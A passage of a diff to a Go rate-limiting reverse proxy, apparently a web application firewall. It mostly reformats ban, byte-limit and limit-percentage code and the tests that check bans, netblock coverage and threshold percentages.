check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is
@@ -105,11 +101,7 @@ func (rq *request) countedBytes() int64 {
// the client's counters back to zero. In observe mode it makes no ban and // the client's counters back to zero. In observe mode it makes no ban and
// sets nothing back, and raises the alert for the ban it would have made, // sets nothing back, and raises the alert for the ban it would have made,
// if that alert would be sent. // if that alert would be sent.
func (rq *request) banForLimit( func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
now time.Time,
hit ratelimit.Hit,
status int,
) {
switch hit.Kind { switch hit.Kind {
case ratelimit.KindBytes: case ratelimit.KindBytes:
rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
@@ -123,8 +115,7 @@ func (rq *request) banForLimit(
rq.h.metrics.LimitHit(hit) rq.h.metrics.LimitHit(hit)
netblock := rq.h.netblock(rq.client) netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
!rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
return return
} }
@@ -173,11 +164,8 @@ func (rq *request) banForLimit(
// alert would be sent. It returns the action for that ban. // alert would be sent. It returns the action for that ban.
func (rq *request) banForAttack(now time.Time, notes bans.Notes) string { func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
netblock := rq.h.netblock(rq.client) netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
!rq.wouldAlertBan(netblock, now, bans.CauseAttack) { return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack))
return banAction(
rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack),
)
} }
notes.ASN = rq.line.ASN notes.ASN = rq.line.ASN
@@ -210,16 +198,10 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
// CrowdSec's decision on the client, ends. In observe mode it makes no // CrowdSec's decision on the client, ends. In observe mode it makes no
// ban, and raises the alert for the ban it would have made, if that alert // ban, and raises the alert for the ban it would have made, if that alert
// would be sent. It returns the action for that ban. // would be sent. It returns the action for that ban.
func (rq *request) banForCrowdSec( func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) string {
now time.Time,
decision reputation.Decision,
) string {
netblock := rq.h.netblock(rq.client) netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
!rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) { return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec))
return banAction(
rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec),
)
} }
notes := bans.Notes{ notes := bans.Notes{
@@ -232,13 +214,8 @@ func (rq *request) banForCrowdSec(
} }
if rq.h.config.Observe { if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec( ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
netblock, decision.Scenario, notes)
now,
decision.Expires,
decision.Scenario,
notes,
)
if wouldBan { if wouldBan {
rq.alertBan(ban) rq.alertBan(ban)
} }
+26 -115
View File
@@ -33,52 +33,29 @@ const (
func TestBrokenLimitBansTheClient(t *testing.T) { func TestBrokenLimitBansTheClient(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, _ := startWithClock( s, clk, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
t,
"",
map[string]string{rateLimitPerMinute: "1"},
)
expires := requestlog.FormatTime(clk.Now().Add(time.Hour)) expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
// The request over the limit of one a minute is refused, and bans the // The request over the limit of one a minute is refused, and bans the
// client for an hour, the default. // client for an hour, the default.
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
client,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit || if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
line.BanExpires != expires { line.BanExpires != expires {
t.Errorf( t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"log line has limit_hit %q, offence %q and ban_expires %q, "+ "want minute, limit and %s", line.LimitHit, line.Offence, line.BanExpires,
"want minute, limit and %s", expires)
line.LimitHit,
line.Offence,
line.BanExpires,
expires,
)
} }
// Every request while the ban lasts is refused. // Every request while the ban lasts is refused.
clk.advance(time.Hour - time.Second) clk.advance(time.Hour - time.Second)
line = s.get( line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client, if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" {
http.StatusForbidden, t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+
requestlog.ActionTemporarilyBanned, "want %s and neither of the others", line.BanExpires, line.Offence,
) line.LimitHit, expires)
if line.BanExpires != expires || line.Offence != "" ||
line.LimitHit != "" {
t.Errorf(
"log line has ban_expires %q, offence %q and limit_hit %q, "+
"want %s and neither of the others",
line.BanExpires,
line.Offence,
line.LimitHit,
expires,
)
} }
// Once it ends, the client is let through. // Once it ends, the client is let through.
@@ -101,11 +78,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
breakLimit := func() string { breakLimit := func() string {
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
client,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
return line.BanExpires return line.BanExpires
} }
@@ -146,11 +119,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) { func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, server := startWithClock( s, clk, server := startWithClock(t, "", map[string]string{rateLimitPerDay: "2"})
t,
"",
map[string]string{rateLimitPerDay: "2"},
)
// The third request in a day is over the limit of two, and bans the // The third request in a day is over the limit of two, and bans the
// client for an hour. // client for an hour.
@@ -159,11 +128,7 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
for range 3 { for range 3 {
s.get( s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
} }
// Later the same day the client has its whole allowance again: the // Later the same day the client has its whole allowance again: the
@@ -176,10 +141,7 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(banned) != 2 || banned[0].Notes.Refused != 3 { if len(banned) != 2 || banned[0].Notes.Refused != 3 {
t.Errorf( t.Errorf("bans %+v, want two, the first with 3 requests refused", banned)
"bans %+v, want two, the first with 3 requests refused",
banned,
)
} }
} }
@@ -230,18 +192,10 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
s, _, _ := startWithClock(t, "", env) s, _, _ := startWithClock(t, "", env)
s.get(tc.breaker, http.StatusOK, requestlog.ActionForward) s.get(tc.breaker, http.StatusOK, requestlog.ActionForward)
s.get( s.get(tc.breaker, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
tc.breaker,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
for _, sent := range tc.refused { for _, sent := range tc.refused {
s.get( s.get(sent, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
sent,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
} }
for _, sent := range tc.let { for _, sent := range tc.let {
@@ -266,11 +220,7 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
s.get(fromDE, http.StatusOK, requestlog.ActionForward) s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line := s.get( line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
otherClient,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
if line.Country != "" { if line.Country != "" {
t.Errorf("log line has country %q, want none", line.Country) t.Errorf("log line has country %q, want none", line.Country)
} }
@@ -291,11 +241,7 @@ func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line := s.get( line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
otherClient,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
wantHeuristic(t, line, "active_ban", wantHeuristic(t, line, "active_ban",
`{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`) `{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`)
} }
@@ -401,12 +347,8 @@ func TestBanNotes(t *testing.T) {
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
got = ledger.Bans(netblock) got = ledger.Bans(netblock)
if len(got) != 2 || if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { t.Errorf("bans %+v, want two, the second with one earlier ban for a limit", got)
t.Errorf(
"bans %+v, want two, the second with one earlier ban for a limit",
got,
)
} }
} }
@@ -422,18 +364,10 @@ func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) {
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(otherClient, http.StatusOK, requestlog.ActionForward) s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get( s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
otherClient,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get( s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
otherClient,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
} }
// clock is the time a test sets, by which sww counts requests and // clock is the time a test sets, by which sww counts requests and
@@ -474,20 +408,9 @@ func startWithClock(
settings := map[string]string{trustedProxies: trustLocalhost} settings := map[string]string{trustedProxies: trustLocalhost}
maps.Copy(settings, env) maps.Copy(settings, env)
addr, out, server := startProxyWithClock( addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
t,
app.URL,
geojsURL,
clk.Now,
settings,
)
return &sender{ return &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}, clk, server
t: t,
addr: addr,
wafAddr: server.Addr,
out: out,
}, clk, server
} }
// sender sends requests to rproxy one after another, each on a connection of its // sender sends requests to rproxy one after another, each on a connection of its
@@ -514,11 +437,7 @@ func (s *sender) get(from string, status int, action string) logLine {
// X-Forwarded-For names it, and checks that its answer and its log line // X-Forwarded-For names it, and checks that its answer and its log line
// have status, 0 for the connection closed without an answer, and that // have status, 0 for the connection closed without an answer, and that
// the line has action. It returns the log line. // the line has action. It returns the log line.
func (s *sender) request( func (s *sender) request(from, path string, status int, action string) logLine {
from, path string,
status int,
action string,
) logLine {
s.t.Helper() s.t.Helper()
return s.requestWithHeader(from, path, "", status, action) return s.requestWithHeader(from, path, "", status, action)
@@ -531,15 +450,7 @@ func (s *sender) requestWithHeader(
) logLine { ) logLine {
s.t.Helper() s.t.Helper()
line, _ := s.requestWithBody( line, _ := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
http.MethodGet,
from,
path,
header,
"",
status,
action,
)
return line return line
} }
+13 -41
View File
@@ -22,10 +22,8 @@ type percentage struct {
// below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is // below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
// then needed before its request goes on. // then needed before its request goes on.
func biasedThresholdsSet(cfg *config.Config) bool { func biasedThresholdsSet(cfg *config.Config) bool {
return len(cfg.ASNBytesPercent) > 0 || return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
len(cfg.CountryBytesPercent) > 0 || cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
cfg.UnknownLimitPercent < whole ||
cfg.ASNLimitPercentURL != ""
} }
// limitPercentages returns the client's limit percentages, for the rate // limitPercentages returns the client's limit percentages, for the rate
@@ -50,10 +48,7 @@ func (rq *request) limitPercentages() (percentage, percentage) {
unknown := percentage{percent: whole} unknown := percentage{percent: whole}
if country == "" && !rq.skippedLookupWait { if country == "" && !rq.skippedLookupWait {
unknown = percentage{ unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"}
cfg.UnknownLimitPercent,
"SWW_UNKNOWN_LIMIT_PERCENT",
}
} }
fetched := percentage{percent: whole} fetched := percentage{percent: whole}
@@ -63,41 +58,24 @@ func (rq *request) limitPercentages() (percentage, percentage) {
blocklisted := percentage{percent: whole} blocklisted := percentage{percent: whole}
if rq.blocklisted && cfg.BlocklistAction == "limit" { if rq.blocklisted && cfg.BlocklistAction == "limit" {
blocklisted = percentage{ blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"}
cfg.BlocklistLimitPercent,
"SWW_BLOCKLIST_ACTION",
}
} }
reputationListed := percentage{percent: whole} reputationListed := percentage{percent: whole}
if (rq.dnsblListed || rq.abuseIPDBHit) && if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
cfg.ReputationAction == "limit" { reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"}
reputationListed = percentage{
cfg.ReputationLimitPercent,
"SWW_REPUTATION_ACTION",
}
} }
const tagSetting = "SWW_TAG_LIMIT_PERCENT" const tagSetting = "SWW_TAG_LIMIT_PERCENT"
asnRequests := lowest( asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched)
given(cfg.TagLimitPercent, asnTag(asn), tagSetting), countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting)
fetched,
)
countryRequests := given(
cfg.TagLimitPercent,
countryTag(country),
tagSetting,
)
otherTags := percentage{percent: whole} otherTags := percentage{percent: whole}
for _, tag := range rq.line.Tags { for _, tag := range rq.line.Tags {
if tag != asnTag(asn) && tag != countryTag(country) { if tag != asnTag(asn) && tag != countryTag(country) {
otherTags = lowest( otherTags = lowest(otherTags, given(cfg.TagLimitPercent, tag, tagSetting))
otherTags,
given(cfg.TagLimitPercent, tag, tagSetting),
)
} }
} }
@@ -107,18 +85,12 @@ func (rq *request) limitPercentages() (percentage, percentage) {
} }
if _, listed := cfg.CountryBytesPercent[country]; listed { if _, listed := cfg.CountryBytesPercent[country]; listed {
countryBytes = given( countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT")
cfg.CountryBytesPercent,
country,
"SWW_COUNTRY_BYTES_PERCENT",
)
} }
// The limits that lower requests and bytes alike. return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted,
common := lowest(otherTags, unknown, blocklisted, reputationListed) reputationListed),
lowest(asnBytes, countryBytes, otherTags, unknown, blocklisted, reputationListed)
return lowest(asnRequests, countryRequests, common),
lowest(asnBytes, countryBytes, common)
} }
// given returns the percentage percents, the setting named setting, gives // given returns the percentage percents, the setting named setting, gives
+28 -115
View File
@@ -86,11 +86,7 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
// fromKP, which no setting lists, has the whole limit. // fromKP, which no setting lists, has the whole limit.
for range 3 { for range 3 {
line := s.get( line := s.get(fromKP, http.StatusOK, requestlog.ActionForward)
fromKP,
http.StatusOK,
requestlog.ActionForward,
)
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting, line.RateLimitPercent, line.RateLimitPercentSetting,
none) none)
@@ -122,11 +118,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
// The upload's 100 bytes are over half of 199, 99. // The upload's 100 bytes are over half of 199, 99.
line := s.uploadFrom(tc.from) line := s.uploadFrom(tc.from)
if line.LimitHit != minuteBytes { if line.LimitHit != minuteBytes {
t.Errorf( t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
"log line has limit_hit %q, want %s",
line.LimitHit,
minuteBytes,
)
} }
wantPercent(t, "bytes_limit_percent", wantPercent(t, "bytes_limit_percent",
@@ -136,11 +128,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
// fromKP, which no setting lists, has the whole limit. // fromKP, which no setting lists, has the whole limit.
line = s.uploadFrom(fromKP) line = s.uploadFrom(fromKP)
if line.LimitHit != "" { if line.LimitHit != "" {
t.Errorf( t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
"log line for %s has limit_hit %q, want none",
fromKP,
line.LimitHit,
)
} }
wantPercent(t, "bytes_limit_percent", wantPercent(t, "bytes_limit_percent",
@@ -149,9 +137,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
} }
} }
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits( func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -192,11 +178,7 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
// The upload's 100 bytes are over 99, half of 199, and within 199. // The upload's 100 bytes are over 99, half of 199, and within 199.
line := s.uploadFrom(fromDE) line := s.uploadFrom(fromDE)
if line.LimitHit != tc.limitHit { if line.LimitHit != tc.limitHit {
t.Errorf( t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
"log line has limit_hit %q, want %q",
line.LimitHit,
tc.limitHit,
)
} }
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
@@ -212,26 +194,16 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
func TestZeroPercentIsAZeroAllowance(t *testing.T) { func TestZeroPercentIsAZeroAllowance(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithLookups( s, _, _ := startWithLookups(t, map[string]string{unknownLimitPercent: "0"})
t,
map[string]string{unknownLimitPercent: "0"},
)
// The first request breaks the limit, and bans the client; the log line // The first request breaks the limit, and bans the client; the log line
// gives the 0. // gives the 0.
line := s.get( line := s.get(unplaced, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
unplaced,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
if line.fields["rate_limit_percent"] != float64(0) || if line.fields["rate_limit_percent"] != float64(0) ||
line.fields["rate_limit_percent_setting"] != unknownLimitPercent { line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
t.Errorf( t.Errorf("log line has rate_limit_percent %v from %v, want 0 from %s",
"log line has rate_limit_percent %v from %v, want 0 from %s", line.fields["rate_limit_percent"], line.fields["rate_limit_percent_setting"],
line.fields["rate_limit_percent"], unknownLimitPercent)
line.fields["rate_limit_percent_setting"],
unknownLimitPercent,
)
} }
s.get(unplaced, http.StatusForbidden, requestlog.ActionTemporarilyBanned) s.get(unplaced, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -284,11 +256,7 @@ func TestLowestPercentageApplies(t *testing.T) {
// A quarter of 4 requests a minute: the second breaks the limit. // A quarter of 4 requests a minute: the second breaks the limit.
s.get(tc.from, http.StatusOK, requestlog.ActionForward) s.get(tc.from, http.StatusOK, requestlog.ActionForward)
line := s.get( line := s.get(tc.from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
tc.from,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting, line.RateLimitPercent, line.RateLimitPercentSetting,
tc.want) tc.want)
@@ -296,9 +264,7 @@ func TestLowestPercentageApplies(t *testing.T) {
} }
} }
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage( func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, _, _ := startWithLookups(t, map[string]string{ s, _, _ := startWithLookups(t, map[string]string{
@@ -310,11 +276,7 @@ func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
for _, from := range []string{unplaced, "10.0.0.8"} { for _, from := range []string{unplaced, "10.0.0.8"} {
s.get(from, http.StatusOK, requestlog.ActionForward) s.get(from, http.StatusOK, requestlog.ActionForward)
s.get(from, http.StatusOK, requestlog.ActionForward) s.get(from, http.StatusOK, requestlog.ActionForward)
s.get( s.get(from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
from,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
} }
// One in a country has the whole limit. // One in a country has the whole limit.
@@ -338,12 +300,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
serveFromDE(t, server, http.MethodGet, http.NoBody) serveFromDE(t, server, http.MethodGet, http.NoBody)
line := out.requestLine(t) line := out.requestLine(t)
wantLine( wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
t,
line,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting, line.RateLimitPercent, line.RateLimitPercentSetting,
"0 from "+unknownLimitPercent) "0 from "+unknownLimitPercent)
@@ -384,12 +341,7 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
}) })
began := time.Now() began := time.Now()
serveFromDE( serveFromDE(t, server, http.MethodPost, strings.NewReader("ab"))
t,
server,
http.MethodPost,
strings.NewReader("ab"),
)
want := time.Duration(0) want := time.Duration(0)
if tc.waits { if tc.waits {
@@ -397,19 +349,10 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
} }
if waited := time.Since(began); waited != want { if waited := time.Since(began); waited != want {
t.Errorf( t.Errorf("the request waited %s for its answer, want %s", waited, want)
"the request waited %s for its answer, want %s",
waited,
want,
)
} }
wantLine( wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
t,
out.requestLine(t),
http.StatusOK,
requestlog.ActionForward,
)
// The bubble's clock stops once this function returns, so the // The bubble's clock stops once this function returns, so the
// request to GeoJS, which a request that did not wait leaves // request to GeoJS, which a request that did not wait leaves
@@ -420,9 +363,7 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
} }
} }
func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert( func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -464,8 +405,8 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
s.uploadFrom(fromDE) s.uploadFrom(fromDE)
} }
s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, uploadBody,
uploadBody, tc.status, tc.action) tc.status, tc.action)
held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32")) held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
if len(held) != 1 { if len(held) != 1 {
@@ -474,11 +415,7 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
notes := held[0].Notes notes := held[0].Notes
if held[0].Reason != tc.reason { if held[0].Reason != tc.reason {
t.Errorf( t.Errorf("the ban's reason is %q, want %q", held[0].Reason, tc.reason)
"the ban's reason is %q, want %q",
held[0].Reason,
tc.reason,
)
} }
wantPercent(t, "the notes' limit_percent", notes.LimitPercent, wantPercent(t, "the notes' limit_percent", notes.LimitPercent,
@@ -486,21 +423,12 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 { if len(waiting) != 1 {
t.Fatalf( t.Fatalf("%d alerts wait, want the ban's alone: %+v", len(waiting), waiting)
"%d alerts wait, want the ban's alone: %+v",
len(waiting),
waiting,
)
} }
alerted, _ := waiting[0].Detail["notes"].(bans.Notes) alerted, _ := waiting[0].Detail["notes"].(bans.Notes)
wantPercent( wantPercent(t, "the alert's notes' limit_percent", alerted.LimitPercent,
t, alerted.LimitPercentSetting, tc.want)
"the alert's notes' limit_percent",
alerted.LimitPercent,
alerted.LimitPercentSetting,
tc.want,
)
}) })
} }
} }
@@ -534,10 +462,7 @@ func startWithLookupsAndClock(
noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"}, noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"},
}) })
settings := map[string]string{ settings := map[string]string{lookupSource: fileSource, lookupDBPath: path}
lookupSource: fileSource,
lookupDBPath: path,
}
maps.Copy(settings, env) maps.Copy(settings, env)
return startAppWithAlerts(t, readAndAnswer, settings) return startAppWithAlerts(t, readAndAnswer, settings)
@@ -547,15 +472,8 @@ func startWithLookupsAndClock(
func (s *sender) uploadFrom(from string) logLine { func (s *sender) uploadFrom(from string) logLine {
s.t.Helper() s.t.Helper()
line, _ := s.requestWithBody( line, _ := s.requestWithBody(http.MethodPost, from, "/", uploadHeader, uploadBody,
http.MethodPost, http.StatusOK, requestlog.ActionForward)
from,
"/",
uploadHeader,
uploadBody,
http.StatusOK,
requestlog.ActionForward,
)
return line return line
} }
@@ -578,12 +496,7 @@ func serveFromDE(
// wantPercent checks a limit percentage that a log line or a ban's notes // wantPercent checks a limit percentage that a log line or a ban's notes
// give, what, and the setting that gave it, against want, as percentText // give, what, and the setting that gave it, against want, as percentText
// gives them. // gives them.
func wantPercent( func wantPercent(t *testing.T, what string, percent *int64, setting, want string) {
t *testing.T,
what string,
percent *int64,
setting, want string,
) {
t.Helper() t.Helper()
if got := percentText(percent, setting); got != want { if got := percentText(percent, setting); got != want {
+1 -5
View File
@@ -18,11 +18,7 @@ type blocklists struct{}
func (blocklists) name() string { return "blocklists" } func (blocklists) name() string { return "blocklists" }
func (blocklists) check( func (blocklists) check(_ context.Context, rq *request, _ time.Time) *verdict {
_ context.Context,
rq *request,
_ time.Time,
) *verdict {
listedBy := rq.h.lists.ListedBy(rq.client) listedBy := rq.h.lists.ListedBy(rq.client)
rq.blocklisted = len(listedBy) > 0 rq.blocklisted = len(listedBy) > 0
rq.noteListed(listedBy, "listed by a blocklist") rq.noteListed(listedBy, "listed by a blocklist")
+3 -11
View File
@@ -20,21 +20,13 @@ type byteLimits struct{}
func (byteLimits) name() string { return "byte_limits" } func (byteLimits) name() string { return "byte_limits" }
func (byteLimits) check( func (byteLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
_ context.Context,
rq *request,
now time.Time,
) *verdict {
if !rq.counted || rq.line.WouldAction != "" { if !rq.counted || rq.line.WouldAction != "" {
return nil return nil
} }
counts, hit, over := rq.h.limiter.CountBytes( counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
rq.h.clientGroup(rq.client), rq.countedBytes(), rq.bytesLimitPercent.percent)
now,
rq.countedBytes(),
rq.bytesLimitPercent.percent,
)
rq.line.Counts.MinuteBytes = counts.MinuteBytes rq.line.Counts.MinuteBytes = counts.MinuteBytes
rq.line.Counts.HourBytes = counts.HourBytes rq.line.Counts.HourBytes = counts.HourBytes
rq.line.Counts.DayBytes = counts.DayBytes rq.line.Counts.DayBytes = counts.DayBytes
+65 -211
View File
@@ -67,11 +67,8 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
// 70 bytes are within the limit of 99. // 70 bytes are within the limit of 99.
line, _ := s.download() line, _ := s.download()
if line.LimitHit != "" || line.Offence != "" { if line.LimitHit != "" || line.Offence != "" {
t.Errorf( t.Errorf("log line has limit_hit %q and offence %q, want neither",
"log line has limit_hit %q and offence %q, want neither", line.LimitHit, line.Offence)
line.LimitHit,
line.Offence,
)
} }
// 140 bytes are over it. The response is passed on whole, and // 140 bytes are over it. The response is passed on whole, and
@@ -82,35 +79,18 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) {
line, got := s.download() line, got := s.download()
if got.err != nil || len(got.body) != answerBytes || if got.err != nil || len(got.body) != answerBytes ||
line.ResponseBytes != answerBytes { line.ResponseBytes != answerBytes {
t.Errorf( t.Errorf("got %d bytes (%v), and the log line has response_bytes %d, "+
"got %d bytes (%v), and the log line has response_bytes %d, "+ "want %d", len(got.body), got.err, line.ResponseBytes, answerBytes)
"want %d",
len(got.body),
got.err,
